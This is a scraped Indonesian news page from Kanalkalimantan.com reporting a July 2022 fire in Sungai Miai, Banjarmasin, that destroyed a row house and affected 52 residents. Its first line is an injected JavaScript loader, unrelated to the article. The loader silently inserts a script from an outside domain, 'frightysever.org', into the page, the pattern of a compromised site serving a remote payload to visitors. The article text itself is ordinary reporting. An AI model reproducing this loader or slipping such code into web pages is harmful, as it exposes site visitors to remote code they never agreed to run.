(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Api Hanguskan Bedakan Beserta Dua Rumah di Sungai Miai, 52 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN – Tiga bangunan rumah terdampak rusak berat, akibat api yang berkobar hebat di RT 05 Jalan Sungai Miai Dalam, Kelurahan Sungai Miai, Kecamatan Banjarmasin Utara, Kamis (21/7/2022) petang.

Api dilaporkan mulai berkobar sekitar pukul 16.50 Wita ini pun membuat warga geger.

Barisan Pemadan Kebakaran (BPK) bersama Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarmasin mendata sebanyak 13 Kepala Keluarga (KK) dengan 52 Jiwa terdampak dalam kebakaran di kawasan pemukiman padat penduduk ini.

Erwin, salah satu anggota BPK Putera Daha Banjarmasin Timur mengatakan, tidak ditemukan korban jiwa dalam kejadian tersebut. Namun, kerusakan total terjadi pada salah satu bangunan bedakan 12 pintu.

“Yang bangunan bedakan rusak total akibat kebakaran, dengan total 13 kepala keluarga dan 52 jiwa ikut terdampak dari musibah kebakaran ini,” kata Erwin.

Kemudian, sebuah rumah kosong milik Sumiati (32) juga mengalami rusak berat, dan satu lagi bangunan rumah milik Jum’ah (50) turut menjadi dampak kerusakan ringan.

Salah satu warga, Aida (32) yang tinggal berdekatan dengan lokasi kebakaran mengatakan, awalnya ia tidak tahu ada api karena ada di dalam rumah, kemudian dapat kabar dari suami lewat telpon ada kebakaran di sebelah rumah.

“Ternyata pas dilihat sudah habis itu rumah-rumah tetangga, ada juga yang rumahnya kosong gak ada orangnya lama gak ditempati lagi,” kata Aida.

Tak lama setelah api berkobar, silih berganti barisan pemadam kebakaran dari Banjarmasin terjun ke lokasi untuk mencegah meluasnya api ke bangunan rumah penduduk lainnya.

Dengan akses jalan beraspal kurang lebih selebar empat meter dan sumber air yang cukup, relawan berjibaku mematikan api. Dalam kurun waktu sekitar 25 menit, akhirnya petugas dapat menjangkau rumah yang terbakar.

Hingga saat ini, penyebab kebakaran masih dalam tahap penyelidikan oleh pihak berwajib beserta jumlah kerugian.(Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : kk